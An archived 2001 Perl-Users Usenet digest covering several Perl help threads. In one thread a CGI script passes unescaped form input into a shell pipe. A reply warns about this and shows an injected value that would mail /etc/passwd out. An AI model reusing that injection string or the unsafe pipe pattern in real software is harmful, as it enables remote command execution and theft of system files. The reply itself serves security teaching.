[19114] in Perl-Users-Digest
Perl-Users Digest, Issue: 1309 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Jul 15 21:05:57 2001
Date: Sun, 15 Jul 2001 18:05:14 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <995245514-v10-i1309@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Sun, 15 Jul 2001 Volume: 10 Number: 1309
Today's topics:
Re: $key function in perl??? Code question <murat.uenalan@gmx.de>
a NEEDED error-chk removed between 5.6.0 and 5.6.1? (David Combs)
Re: Can I <!--include files ??? <andras@mortgagestats.com>
Re: Can I <!--include files ??? <dcs@ntlworld.com>
FAQ: How do I cross-reference my Perl programs? <faq@denver.pm.org>
FAQ: Is there a pretty-printer (formatter) for Perl? <faq@denver.pm.org>
Re: Hard DBI question (isterin)
How to delete a block of comment? (Lawrence Zhao)
Re: How to delete a block of comment? <marshall@chezmarshall.com>
Re: How to delete a block of comment? <tinamue@zedat.fu-berlin.de>
Re: How to run Perl on MS-DOS (Tim Hammerquist)
Re: How to run Perl on MS-DOS (Tim Hammerquist)
How to stop the scrolling when I open a large text file hzi@uol.com.br
Re: How to stop the scrolling when I open a large text (Brian Pontz)
Re: How to stop the scrolling when I open a large text (Brian Pontz)
Re: How to stop the scrolling when I open a large text <krahnj@acm.org>
Re: Including flock in code while developing in Windows <bugfixxer@yahoo.com>
Re: Including flock in code while developing in Windows <jeff@vpservices.com>
Looking for Usenet-->HTML script <cometlinear@yahoo.com>
Re: Looking for Usenet-->HTML script <ng02@brucies.com>
Re: LWP::Protocol::http - what are the hidden Windows r <bugfixxer@yahoo.com>
Re: LWP::Protocol::http - what are the hidden Windows r <kevin@vaildc.net>
please help urgent <iham@internode.net>
Re: please help urgent (Clinton A. Pierce)
Re: please help urgent <iham@internode.net>
problem with @INC <citykid@nospam.com>
simple question <jwarpup1@home.com>
Re: simple question <andras@mortgagestats.com>
Using Perl to do a Telnetable dos shell <stumo@bigfoot.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Mon, 16 Jul 2001 02:19:27 +0200
From: "Murat Uenalan" <murat.uenalan@gmx.de>
Subject: Re: $key function in perl??? Code question
Message-Id: <9itbpv$kt99g$1@ID-71895.news.dfncis.de>
The correct pragmas always help...
<peter@devries.tv> schrieb im Newsbeitrag
news:20010708.012251.1789366143.10447@devries.tv...
> could somebody tell me why the below program is functioning correctly. I
> have not defined $keys at any point. Well not until the while loop ends
> anyway I am trying to get a string to compare against
> a list of hash keys and if it doesn't exist I want to create the hash key
> with the zero value and if it does st the value should be increased by
> one. I haven't found $key listed as a perl function so I'm wondering why
> I am getting the desired results from the program.
>
> 'Im new to perl so any insight would be helpful.
>
> #!/usr/bin/perl
#!/usr/bin/perl -w
use strict;
use warnings;
use diagnostics;
> while (<>) {
> @fields = split;
> if ($fields[1] != $key) {
> %sendhost = (%sendhost, @fields[1], "1");
> # print $fields[1]," ",$sendhost{$fields[1]},"\n"; }
> else {
> $sendhost{$fields[1]} = $sendhost{$fields[1]} + 1;
> # print $fields[1]," ",($sendhost{$fields[1]},"\n");
> }
> }
> foreach $key(keys(%sendhost)) { print $key," ", $sendhost{$key},"\n"; }
------------------------------
Date: 15 Jul 2001 18:29:37 -0400
From: dkcombs@panix.com (David Combs)
Subject: a NEEDED error-chk removed between 5.6.0 and 5.6.1?
Message-Id: <9it5gh$a5v$1@panix6.panix.com>
For this code (note missing "$" on gPriorLine-assignment):
...
# ----- Start myGetLine() stuff:
our $gPriorLine = our $gCurLine = "";
our $gSawEOF = 0;
our $gLinesReadSoFar = 0;
sub myGetLine {
gPriorLine = $gCurLine; # <<====== MISSING "$" IS HERE <<====
if (! defined($gCurLine = <>)) {
$gSawEOF = 1; return undef };
...
---------------------------------------------
When running 5.6.0 (on panix.com's netbsd),
I *do* get notified of my goofup:
perl5.6.0 -w find-email-coming-via-netcom.pl
Can't modify constant item in scalar assignment at find-email-coming-via-netcom.pl line 21, near "$gCurLine;"
BEGIN not safe after errors--compilation aborted at find-email-coming-via-netcom.pl line 49.
>
, whereas on 5.6.1 (sparc5, solaris 7)
it says NOTHING about the error! Just runs (and runs
OK, too!)
---------------------------------------------
QUESTION: What'd it do with that "bareword",
stick (prepend) the dollar-sign anyway, as a nice
"favor" to me?
If so, HOW DO I TURN IT OFF?
I mean, I *want* such errors!
------------------------------
Date: Sun, 15 Jul 2001 15:33:32 -0400
From: Andras Malatinszky <andras@mortgagestats.com>
Subject: Re: Can I <!--include files ???
Message-Id: <3B51F00C.9E803EB9@mortgagestats.com>
Terry wrote:
>
> I'm afraid I have to jump to Godzilla's defence here ¿
Careful now: you are treading dangerous ground here :-)
>
>
> What he
she
> is implying is that I open() the file I want to <include> and then
> use a loop to print() the text from the file. Unfortunately, as far as I can
> see, this is the only way to get around what I'm trying to do. Which in
> effect means that I can't do it, since any variables I wanted to pass to the
> include won't be passed when the <include> file is written in this manner :(
Oh, I get it. I thought you wanted to include a CGI in your HTML doc, but what
you really want is include some HTML in a CGI program. Still, you could go the
other route.
Suppose you have a file called header.html that looks like this:
<H1>This is my header</H1>
<HR>
Now comes the real stuff.
Then you have a CGI script called script.pl written in Perl that looks like
this:
use CGI;
$q=new CGI;
$variable=$q->param('answer');
print "The answer is $variable, but what is the question.";
Now you can wrap it all into a master document called master.html that looks
like this:
<html>
<head>
<title>Title</title>
</head>
<body>
<!--include file="header.html"-->
<!--exec cgi="script.pl"-->
<br>
Some more stuff.
</body>
</html>
To pass a parameter to your script, you call your master document with a
parameter like this:
http://www.yourdomain.com/master.html?answer=42
I haven't tested this, so there might be some typos/errors, but the general
principle should work. Does this help?
I feel increasingly awkward about discussing this here, since it has so little
relevance to Perl. You might want to e-mail me if you have any further remarks.
------------------------------
Date: Mon, 16 Jul 2001 00:51:23 +0100
From: "Terry" <dcs@ntlworld.com>
Subject: Re: Can I <!--include files ???
Message-Id: <k_p47.46067$B56.10050876@news2-win.server.ntlworld.com>
"Andras Malatinszky" <andras@mortgagestats.com> wrote in message
news:3B51F00C.9E803EB9@mortgagestats.com...
>
>
> Terry wrote:
>
> >
> > I'm afraid I have to jump to Godzilla's defence here ¿
>
> Careful now: you are treading dangerous ground here :-)
Aw shucks :-Þ
>
> >
> >
> > What he
>
> she
I can only sincerely apologise for this mistake
>
> > is implying is that I open() the file I want to <include> and then
> > use a loop to print() the text from the file. Unfortunately, as far as I
can
> > see, this is the only way to get around what I'm trying to do. Which in
> > effect means that I can't do it, since any variables I wanted to pass to
the
> > include won't be passed when the <include> file is written in this
manner :(
>
> Oh, I get it. I thought you wanted to include a CGI in your HTML doc, but
what
> you really want is include some HTML in a CGI program. Still, you could go
the
> other route.
>
> Suppose you have a file called header.html that looks like this:
>
> <H1>This is my header</H1>
> <HR>
> Now comes the real stuff.
>
> Then you have a CGI script called script.pl written in Perl that looks
like
> this:
>
> use CGI;
> $q=new CGI;
> $variable=$q->param('answer');
> print "The answer is $variable, but what is the question.";
>
> Now you can wrap it all into a master document called master.html that
looks
> like this:
>
> <html>
> <head>
> <title>Title</title>
> </head>
> <body>
> <!--include file="header.html"-->
> <!--exec cgi="script.pl"-->
> <br>
> Some more stuff.
> </body>
> </html>
>
> To pass a parameter to your script, you call your master document with a
> parameter like this:
>
> http://www.yourdomain.com/master.html?answer=42
>
> I haven't tested this, so there might be some typos/errors, but the
general
> principle should work. Does this help?
>
> I feel increasingly awkward about discussing this here, since it has so
little
> relevance to Perl. You might want to e-mail me if you have any further
remarks.
>
------------------------------
Date: Sun, 15 Jul 2001 18:17:00 GMT
From: PerlFAQ Server <faq@denver.pm.org>
Subject: FAQ: How do I cross-reference my Perl programs?
Message-Id: <w6l47.158$T3.201945600@news.frii.net>
This message is one of several periodic postings to comp.lang.perl.misc
intended to make it easier for perl programmers to find answers to
common questions. The core of this message represents an excerpt
from the documentation provided with every Standard Distribution of
Perl.
+
How do I cross-reference my Perl programs?
The B::Xref module, shipped with the new, alpha-release Perl compiler
(not the general distribution prior to the 5.005 release), can be used
to generate cross-reference reports for Perl programs.
perl -MO=Xref[,OPTIONS] scriptname.plx
-
Documents such as this have been called "Answers to Frequently
Asked Questions" or FAQ for short. They represent an important
part of the Usenet tradition. They serve to reduce the volume of
redundant traffic on a news group by providing quality answers to
questions that keep coming up.
If you are some how irritated by seeing these postings you are free
to ignore them or add the sender to your killfile. If you find
errors or other problems with these postings please send corrections
or comments to the posting email address or to the maintainers as
directed in the perlfaq manual page.
Answers to questions about LOTS of stuff, mostly not related to
Perl, can be found by pointing your news client to
news:news.answers
or to the many thousands of other useful Usenet news groups.
Note that the FAQ text posted by this server may have been modified
from that distributed in the stable Perl release. It may have been
edited to reflect the additions, changes and corrections provided
by respondents, reviewers, and critics to previous postings of
these FAQ. Complete text of these FAQ are available on request.
The perlfaq manual page contains the following copyright notice.
AUTHOR AND COPYRIGHT
Copyright (c) 1997-1999 Tom Christiansen and Nathan
Torkington. All rights reserved.
This posting is provided in the hope that it will be useful but
does not represent a commitment or contract of any kind on the part
of the contributers, authors or their agents.
03.06
--
This space intentionally left blank
------------------------------
Date: Mon, 16 Jul 2001 00:17:01 GMT
From: PerlFAQ Server <faq@denver.pm.org>
Subject: FAQ: Is there a pretty-printer (formatter) for Perl?
Message-Id: <1oq47.164$T3.208993280@news.frii.net>
This message is one of several periodic postings to comp.lang.perl.misc
intended to make it easier for perl programmers to find answers to
common questions. The core of this message represents an excerpt
from the documentation provided with every Standard Distribution of
Perl.
+
Is there a pretty-printer (formatter) for Perl?
There is no program that will reformat Perl as much as indent(1) does
for C. The complex feedback between the scanner and the parser (this
feedback is what confuses the vgrind and emacs programs) makes it
challenging at best to write a stand-alone Perl parser.
Of course, if you simply follow the guidelines in the perlstyle manpage,
you shouldn't need to reformat. The habit of formatting your code as you
write it will help prevent bugs. Your editor can and should help you
with this. The perl-mode or newer cperl-mode for emacs can provide
remarkable amounts of help with most (but not all) code, and even less
programmable editors can provide significant assistance. Tom swears by
the following settings in vi and its clones:
set ai sw=4
map! ^O {^M}^[O^T
Now put that in your .exrc file (replacing the caret characters with
control characters) and away you go. In insert mode, ^T is for
indenting, ^D is for undenting, and ^O is for blockdenting-- as it were.
If you haven't used the last one, you're missing a lot. A more complete
example, with comments, can be found at
http://www.perl.com/CPAN-local/authors/id/TOMC/scripts/toms.exrc.gz
If you are used to using the *vgrind* program for printing out nice code
to a laser printer, you can take a stab at this using
http://www.perl.com/CPAN/doc/misc/tips/working.vgrind.entry, but the
results are not particularly satisfying for sophisticated code.
The a2ps at http://www.infres.enst.fr/%7Edemaille/a2ps/ does lots of
things related to generating nicely printed output of documents.
-
Documents such as this have been called "Answers to Frequently
Asked Questions" or FAQ for short. They represent an important
part of the Usenet tradition. They serve to reduce the volume of
redundant traffic on a news group by providing quality answers to
questions that keep coming up.
If you are some how irritated by seeing these postings you are free
to ignore them or add the sender to your killfile. If you find
errors or other problems with these postings please send corrections
or comments to the posting email address or to the maintainers as
directed in the perlfaq manual page.
Answers to questions about LOTS of stuff, mostly not related to
Perl, can be found by pointing your news client to
news:news.answers
or to the many thousands of other useful Usenet news groups.
Note that the FAQ text posted by this server may have been modified
from that distributed in the stable Perl release. It may have been
edited to reflect the additions, changes and corrections provided
by respondents, reviewers, and critics to previous postings of
these FAQ. Complete text of these FAQ are available on request.
The perlfaq manual page contains the following copyright notice.
AUTHOR AND COPYRIGHT
Copyright (c) 1997-1999 Tom Christiansen and Nathan
Torkington. All rights reserved.
This posting is provided in the hope that it will be useful but
does not represent a commitment or contract of any kind on the part
of the contributers, authors or their agents.
03.07
--
This space intentionally left blank
------------------------------
Date: 15 Jul 2001 17:04:10 -0700
From: isterin@hotmail.com (isterin)
Subject: Re: Hard DBI question
Message-Id: <db67a7f3.0107151604.11fe8095@posting.google.com>
"Neb" <berube@odyssee.net> wrote in message news:<9iq0id$2cuj$1@cti15.citenet.net>...
> Hi,
>
> I'm currently working with the DBI and DBD::ODBC modules to query a MS SQL
> Server database. I've been able to execute stored proc and play with the
> resultset. My problem is when my SP actually use the RETURN function to
> return a value (for example, an error code).
>
> Problem is that I can't find a way to retrieve that value. The
> $sth->bind_param_inout doesn't work with MS SQL, so I can't get the value
> with an OUTPUT parameter.
>
> I've search through all the "Perl DBI" book, but no explanation about that
> (neither about SP). Anyone knows an anwser ?
>
> Thanks for the help,
>
> Neb
Why not post on the dbi-user group list. To subscibe send email to
dbi-users-help@perl.org
Once it gets there we'll try to answer, all the driver authors lurk
there.
Ilya
------------------------------
Date: Sun, 15 Jul 2001 23:11:05 +0000 (UTC)
From: lawrence_zhao@yahoo.com (Lawrence Zhao)
Subject: How to delete a block of comment?
Message-Id: <20010715231101.13964.qmail@web13906.mail.yahoo.com>
Gurus,
I need your help on this.
Suppose I have a file.
-------------------------------
/* I want to delete this line
* and this
* until this line*/
printf("please help\n"); /* $$$ */
-------------------------------
I want to delete the comment blocks. However, when I
see the comment on the same line with the statement, I
want to just delete the comment and keep the
statement.
Second question.
If I need to search and replace A1 to B1, A2 to B2, A3
to B3...etc., how can I do it?
Your help is appreciate
__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/
--
Posted from web13906.mail.yahoo.com [216.136.175.69]
via Mailgate.ORG Server - http://www.Mailgate.ORG
------------------------------
Date: Mon, 16 Jul 2001 00:28:20 GMT
From: David Marshall <marshall@chezmarshall.com>
Subject: Re: How to delete a block of comment?
Message-Id: <MPG.15bbff03ebcafc9d989680@news.earthlink.net>
Part 1:
Probably the easiest thing to do will be to slurp the file and substitute
comments with the empty string, such as
undef $/;
($_ = <>) =~ s[/\*.*?\*/][]gs;
print;
Two important points:
the .* in the regexp needs to be nongreedy or you'll get the wrong
results.
modify the substitution operator with 's' so that . will match a newline
character.
Part 2:
Lots of ways to do multiple search-n-replace. Store the search and
replacement strings in some data structure (list or hash, at your
preference), iterate over the structure. Again, you can do a whole file
at one fell swoop if you slurp it.
A very basic solution:
my %foo = ('A1' => 'B1',
'A2' => 'B2',
'A3' => 'B3');
undef $/;
$_ = <>;
s/$from/$to/ while ($from, $to) = each %foo;
print;
In article <20010715231101.13964.qmail@web13906.mail.yahoo.com>,
lawrence_zhao@yahoo.com says...
> Gurus,
>
> I need your help on this.
>
> Suppose I have a file.
> -------------------------------
> /* I want to delete this line
> * and this
> * until this line*/
>
> printf("please help\n"); /* $$$ */
> -------------------------------
>
> I want to delete the comment blocks. However, when I
> see the comment on the same line with the statement, I
> want to just delete the comment and keep the
> statement.
>
> Second question.
>
> If I need to search and replace A1 to B1, A2 to B2, A3
> to B3...etc., how can I do it?
>
> Your help is appreciate
>
>
> __________________________________________________
> Do You Yahoo!?
> Get personalized email addresses from Yahoo! Mail
> http://personal.mail.yahoo.com/
>
>
>
------------------------------
Date: 16 Jul 2001 00:38:19 GMT
From: Tina Mueller <tinamue@zedat.fu-berlin.de>
Subject: Re: How to delete a block of comment?
Message-Id: <9itd1r$kq6b3$3@fu-berlin.de>
Lawrence Zhao <lawrence_zhao@yahoo.com> wrote:
> Gurus,
uh-oh... can i help, too?
> Suppose I have a file.
> -------------------------------
> /* I want to delete this line
> * and this
> * until this line*/
> printf("please help\n"); /* $$$ */
> -------------------------------
> I want to delete the comment blocks. However, when I
> see the comment on the same line with the statement, I
> want to just delete the comment and keep the
> statement.
how about:
$file =~ s#^\s*/\*.*?[\n\r].*?\*/##gms;
check
perldoc -f open
perldoc perlvar (search for $/ )
> Second question.
should be on a second posting
> If I need to search and replace A1 to B1, A2 to B2, A3
> to B3...etc., how can I do it?
%map = (A1=>'B1',A2=>'B2',A3=>'B3');
s/(A1|A2|A3)/$map{$1}/g;
check
perldoc perlre
regards,
tina
--
http://tinita.de \ enter__| |__the___ _ _ ___
tina's moviedatabase \ / _` / _ \/ _ \ '_(_-< of
search & add comments \ \ _,_\ __/\ __/_| /__/ perception
please don't email unless offtopic or followup is set. thanx
------------------------------
Date: Sun, 15 Jul 2001 21:32:53 GMT
From: tim@vegeta.ath.cx (Tim Hammerquist)
Subject: Re: How to run Perl on MS-DOS
Message-Id: <slrn9l43m6.p58.tim@vegeta.ath.cx>
Me parece que Bart Lateur <bart.lateur@skynet.be> dijo:
> sam wrote:
>
> >I have installed ActivePerl 5.6.1.628 MSI on Windows 98 from
> >http://aspn.activestate.com . After I opened MS-DOS and type in cd
> >C:\Perl.in. , it says invalid directory. Can anyone kindly help me on this?
>
> So that directory doesn't exist. So where is your perl installed,
> anyway? And why do you want to chdir to there? Since the path to the
> perl binary is included in your path,
>
> perl -V
>
> will work from within any directory. And you'll want to do
>
> perl script.pl
>
> from within the directory your *script* is in, not your perl binary.
[to OP]
Also, there was another Q where the poster hadn't restarted his machine.
Win95/98 requires a reboot to activate a new path from AUTOEXEC.BAT.
I've never seen a path like 'C:\Perl.in.' before. Usually it's in
\Perl (at least, every ActivePerl installation I've seen).
But it shouldn't matter anyway. Make sure you reboot after installation
and typing 'perl -V' at the command line should work.
*nix has a nifty util called 'which' that tells you which executable the
shell will call if you type it at the command line. eg:
$ perl -V
This is perl, v5.6.0 built for i386-linux
[ snipped rest of msg ]
$ which perl
/usr/bin/perl
This means that the perl 5.6.0 binary is located in /usr/bin
There are a few ports of 'which' to Win32. I know cygwin comes with
one. It wouldn't be too hard to write one in Perl, though. 'which' can
help with a lot of problems, such as the one the OP had.
HTH
--
640K ought to be enough for anybody.
-- Bill Gates (circa 1981)
------------------------------
Date: Sun, 15 Jul 2001 21:43:17 GMT
From: tim@vegeta.ath.cx (Tim Hammerquist)
Subject: Re: How to run Perl on MS-DOS
Message-Id: <slrn9l44a0.p58.tim@vegeta.ath.cx>
Me parece que Tim Hammerquist <tim@vegeta.ath.cx> dijo:
[ snipped ]
> There are a few ports of 'which' to Win32. I know cygwin comes with
> one. It wouldn't be too hard to write one in Perl, though. 'which' can
> help with a lot of problems, such as the one the OP had.
Oops. Abigail and some others already have! I remembered about the
'Perl Power Tools' Project as soon as I sent the post.
Check out http://language.perl.com/ppt/
PPT provides several versions of 'which' (implemented in Perl), at least
one of which should work on Win32/MS-DOS.
--
If you do not climb, you will not fall. This is true.
But is it that bad to fail, that hard to fall?
-- Morpheus, The Sandman
------------------------------
Date: Mon, 16 Jul 2001 07:08:33 +0000
From: hzi@uol.com.br
Subject: How to stop the scrolling when I open a large text file
Message-Id: <9it0ta$khmhs$1@ID-78052.news.dfncis.de>
Hi-
I've read perlfaq5, but still don't get it (I didn't think it was clear for a newbie, sorry).
I've also looked at the history of this n/group. I realise this is a common problem,
but I couldn't figure it out. I don't know how to use modules yet, maybe that's the problem
if modules is the *only* soultion. But what about TMTOWTDI?
My problem is that I've got this huge word list. Whenever I open it, it scrolls out of sight.
I'd like to buffer it, in order to get the equivalent effect as in "ls -a|more" (GNU/Linux)
Here's my program:
#! /usr/bin/perl -w
# open_wort
open WORT, "/usr/local/deutsch/wort.txt" or die $!;
my $lineno = 1;
while (<WORT>) {
print $lineno++;
print ": $_";
}
print "This is the whole list!\n";
Any help?
Thank you very much.
Regards,
hzi
------------------------------
Date: Sun, 15 Jul 2001 22:35:12 GMT
From: pontz@NO_SPAMchannel1.com (Brian Pontz)
Subject: Re: How to stop the scrolling when I open a large text file
Message-Id: <3b52199d.113349445@news.ne.mediaone.net>
>#! /usr/bin/perl -w
># open_wort
>
>open WORT, "/usr/local/deutsch/wort.txt" or die $!;
>
>my $lineno = 1;
^^^^^^^^^
Not really needed. use $.
>
>while (<WORT>) {
> print $.;
> print ": $_";
<STDIN>;
>}
>
>print "This is the whole list!\n";
Or you can put in a counter and scroll more than one line at a time
$count = 0;
>while (<WORT>) {
> print $.;
> print ": $_";
$count++;
if($count == 20) {<STDIN>; $count=0;}
>}
>
Brian
------------------------------
Date: Sun, 15 Jul 2001 22:40:18 GMT
From: pontz@NO_SPAMchannel1.com (Brian Pontz)
Subject: Re: How to stop the scrolling when I open a large text file
Message-Id: <3b521b2a.113746844@news.ne.mediaone.net>
>while (<WORT>) {
> print $lineno++;
> print ": $_";
>}
>
>print "This is the whole list!\n";
I forgot this way too.
while(<WORT>) {
print $.;
print ":$_";
if (($. % 30) == 0) { <STDIN>; } # 30 is the number of lines
}
Brian
------------------------------
Date: Mon, 16 Jul 2001 00:50:32 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: How to stop the scrolling when I open a large text file
Message-Id: <3B523AA0.421D5271@acm.org>
hzi@uol.com.br wrote:
>
> Hi-
>
> I've read perlfaq5, but still don't get it (I didn't think it was clear for a newbie, sorry).
> I've also looked at the history of this n/group. I realise this is a common problem,
> but I couldn't figure it out. I don't know how to use modules yet, maybe that's the problem
> if modules is the *only* soultion. But what about TMTOWTDI?
> My problem is that I've got this huge word list. Whenever I open it, it scrolls out of sight.
> I'd like to buffer it, in order to get the equivalent effect as in "ls -a|more" (GNU/Linux)
> Here's my program:
>
> #! /usr/bin/perl -w
> # open_wort
>
> open WORT, "/usr/local/deutsch/wort.txt" or die $!;
>
> my $lineno = 1;
>
> while (<WORT>) {
> print $lineno++;
> print ": $_";
> }
>
> print "This is the whole list!\n";
#!/usr/bin/perl -w
use strict;
my $pager = $ENV{PAGER} || 'less';
system $pager, '/usr/local/deutsch/wort.txt';
John
--
use Perl;
program
fulfillment
------------------------------
Date: Sun, 15 Jul 2001 22:54:42 +0400
From: "áÎÄÒÅÊ ôËÁÞÅÎËÏ" <bugfixxer@yahoo.com>
Subject: Re: Including flock in code while developing in Windows for Unix??
Message-Id: <9isos2$19t$1@dragon.infopro.spb.su>
try to check $^O variable. It contains current OS name
Carlos C. Gonzalez <miscellaneousemail@yahoo.com> ÐÉÛÅÔ ×
ÓÏÏÂÝÅÎÉÉ:MPG.15bb885f37486b489896b4@news.edmonton.telusplanet.net...
> Hi everyone,
>
> I was wondering if anyone had any suggestions as to how to include
> flock() function calls in code that will eventually be uploaded to a Unix
> server (on which the flock() function is implemented) while developing
> that code in Windows.
>
> It is kind of a pain to have to remember to change the code every time I
> upload it to Unix.
>
> Currently I have a parameter flag that I set to either WIN or UNIX and
> within an open file wrapper function I either call flock() or not
> depending on whether the flag is WIN or UNIX.
>
> But this is still a pain because I have to remember to change the value
> of the parameter when I upload to UNIX.
>
> My open file wrapper function is called in various files and changing the
> value of the flag is becoming more and more cumbersome.
>
> Is there no way to call flock() from code in such a way that Perl
> automatically ignores this call if called from Windows and executes it if
> called from Unix??
>
> Thanks.
>
> --
> Carlos
> www.internetsuccess.ca
------------------------------
Date: Sun, 15 Jul 2001 14:37:51 -0700
From: Jeff Zucker <jeff@vpservices.com>
Subject: Re: Including flock in code while developing in Windows for Unix??
Message-Id: <3B520D2F.99175E4E@vpservices.com>
"Carlos C. Gonzalez" wrote:
>
> I was wondering if anyone had any suggestions as to how to include
> flock() function calls in code that will eventually be uploaded to a Unix
> server (on which the flock() function is implemented) while developing
> that code in Windows.
This kind of thing works on both platforms without changing the code.
use constant HAS_FLOCK => eval { flock STDOUT, 0; 1 };
# ...
if( HAS_FLOCK ) {
# do flock() stuff
}
else {
# don't
}
--
Jeff
------------------------------
Date: Sun, 15 Jul 2001 22:55:26 GMT
From: dot-comet <cometlinear@yahoo.com>
Subject: Looking for Usenet-->HTML script
Message-Id: <150720011551264964%cometlinear@yahoo.com>
Greetings all,
I want to be able to include (and interact with) two or three actual
Usenet newsgroups in my HTML documents.
Does anyone know of a script that can do this?
Thanks very much, in advance,
-joshua
------------------------------
Date: Mon, 16 Jul 2001 09:15:33 +1000
From: "Brucie" <ng02@brucies.com>
Subject: Re: Looking for Usenet-->HTML script
Message-Id: <3b522401$0$20965$7f31c96c@news01.syd.optusnet.com.au>
"dot-comet" <cometlinear@yahoo.com> wrote in message
news:150720011551264964%cometlinear@yahoo.com...
> Greetings all,
>
> I want to be able to include (and interact with) two or three actual
> Usenet newsgroups in my HTML documents.
>
put a link to here: http://groups.google.com/ on your site or have a play
with this: http://netwinsite.com/dnews.htm
--
Brucie - http://www.brucies.com/
alt.html information http://www.alt-html.org/
------------------------------
Date: Sun, 15 Jul 2001 22:50:05 +0400
From: "Àíäðåé Òêà÷åíêî" <bugfixxer@yahoo.com>
Subject: Re: LWP::Protocol::http - what are the hidden Windows requirements ?
Message-Id: <9isojd$18j$1@dragon.infopro.spb.su>
Is it prefferable way than
use LWP::Protocol::http ?
"use" will automatically will call "import" method
Kevin Michael Vail <kevin@vaildc.net> ïèøåò â
ñîîáùåíèè:150720010958192299%kevin@vaildc.net...
> In article <5a10590e.0107142039.6eb22ec9@posting.google.com>, Mike
> <michael_of_neb@yahoo.com> wrote:
>
> [snip]
>
> > In the process of attempting to install the openssl systems,
> > so that I can use perl to open a rather simple httpS page
> > and enter some rather simple infformation into its form...
> >
> > I have crashed my entire perl engine. Bummer.
> >
> > I have traced the problem down to the line:
> >
> > eval "require $ic";
> >
> > where this translates to:
> >
> > require LWP::Protocol::http
> >
> > which immediately gives Windows the system Perl box error
> > with the blue top border and the red circle with the white x in it,
> > and the buttons on the right titled close, debug and details.
>
> The problem *could* be that the import method of LWP::Protocol::http
> isn't being called. Try changing your code to the following and see
> what happens:
>
> eval {
> require LWP::Protocol::http;
> LWP::Protocol::http->import;
> };
>
> and see what happens. This is basically what happens when you "use" a
> module. If LWP::Protocol::http is a module with C code that has to be
> loaded, and you don't load it, you'll get the error you saw.
>
> --
> Kevin Michael Vail | a billion stars go spinning through the night,
> kevin@vaildc.net | blazing high above your head.
> . . . . . . . . . | But _in_ you is the presence that
> . . . . . . . . . | will be, when all the stars are dead. (Rainer Maria
Rilke)
------------------------------
Date: Sun, 15 Jul 2001 19:18:56 -0400
From: Kevin Michael Vail <kevin@vaildc.net>
Subject: Re: LWP::Protocol::http - what are the hidden Windows requirements ?
Message-Id: <150720011918568114%kevin@vaildc.net>
[Please don't post Jeopardy style. Edit the quoted text to the minimum
necessary to maintain context, and put your comments _after_ the text
you're commenting on. And don't ever quote signatures, unless you're
commenting on the signature.]
In article <9isojd$18j$1@dragon.infopro.spb.su>, Àíäðåé Òêà÷åíêî
<bugfixxer@yahoo.com> wrote:
> Kevin Michael Vail <kevin@vaildc.net> ïèøåò â
> ñîîáùåíèè:150720010958192299%kevin@vaildc.net...
> > The problem *could* be that the import method of LWP::Protocol::http
> > isn't being called. Try changing your code to the following and see
> > what happens:
> >
> > eval {
> > require LWP::Protocol::http;
> > LWP::Protocol::http->import;
> > };
> >
> > and see what happens. This is basically what happens when you "use" a
> > module. If LWP::Protocol::http is a module with C code that has to be
> > loaded, and you don't load it, you'll get the error you saw.
> >
> Is it prefferable way than
> use LWP::Protocol::http ?
> "use" will automatically will call "import" method
I got the impression that the original poster wanted to do this
conditionally. If you know you're going to use the module, then yes,
"use <module>" is easier than the above. But if you only want to use
the module under some circumstances and you don't know until runtime,
you have to do something like the above.
--
Kevin Michael Vail | a billion stars go spinning through the night,
kevin@vaildc.net | blazing high above your head.
. . . . . . . . . | But _in_ you is the presence that
. . . . . . . . . | will be, when all the stars are dead. (Rainer Maria Rilke)
------------------------------
Date: Sun, 15 Jul 2001 22:42:29 GMT
From: "Ibrahim Hamouda" <iham@internode.net>
Subject: please help urgent
Message-Id: <p%o47.7040$W6.3662854@news2.rdc1.ab.home.com>
I have a script that accepts 3 values from a form.
The third value comes from a textarea field.
I can print back all the values to the web page no problem
but trying to pass the values as variables to a shell script, only the two
first variables pass through and the third doesn't.
here's my script, please help I'm on it for 7 hours now and can't figure out
what is the problem
__________________________________________
#!/usr/bin/perl
#use warnings;
use CGI qw(:standard);
use CGI::Carp qw(fatalsToBrowser);
$q = new CGI;
print $q->header;
$email = $q->param('email'); # A text field
$recep = $q->param('recepients'); # A text field
$MSGS = $q->param('message'); # A textarea field
#$tempfile="/tmp/$$.message";
#comd1="/usr/bin/echo $MSGS > $tempfile|";
#open (MSG, $comd1); # The file /tmp/$$.message is created and empty
#close (MSG);
@faxnames = split(/,/,$recep);
foreach $faxname (@faxnames) {
open (FILE, "/faxes/abc.faxes" ) || die "cannot open file: $!\n";
while(<FILE>) {
($UNAME,$ADDRESS) = split(/\|/);
if ($UNAME eq $faxname) {
if ($ADDRESS =~ /@/) {
print "$ADDRESS<BR>";
}
else {
print "$ADDRESS<BR>";
open (FAX, "|/usr/local/bin/sendemailfax $email $ADDRESS $MSGS"); # Only the
first two parameters are passed
close (FAX);
}
}
}
close (FILE);
}
print "Thanks for using our fax utility<br>";
print "you will receive a confirmation when the transaction is done to
$email<BR>";
#print "$tempfile<br>"; # Display right in the browser
print "$MSGS"; # Display right in the browser
____________________________________________________________________________
_______________________________________________
Ibrahim Hamouda
------------------------------
Date: Sun, 15 Jul 2001 22:48:36 GMT
From: clintp@geeksalad.org (Clinton A. Pierce)
Subject: Re: please help urgent
Message-Id: <85p47.14898$JN6.3172288@news1.rdc1.mi.home.com>
[Posted and mailed]
In article <p%o47.7040$W6.3662854@news2.rdc1.ab.home.com>,
"Ibrahim Hamouda" <iham@internode.net> writes:
> here's my script, please help I'm on it for 7 hours now and can't figure out
> what is the problem
The short answer is, $ADDRESS or $MSGS has characters special to the shell in
it.
The long answer is: this script is quite insecure and possibly allows
people using the script to execute commands on your system.
Consider what happens if the parameter "email" is set to:
";mail me@myhost</etc/passwd; "
Or the like. Hmm? You need to brush up on CGI script security and
learn about the -T switch and quoting metacharacters.
--
Clinton A. Pierce Teach Yourself Perl in 24 Hours *and*
clintp@geeksalad.org Perl Developer's Dictionary
"If you rush a Miracle Man, for details, see http://geeksalad.org
you get rotten Miracles." --Miracle Max, The Princess Bride
------------------------------
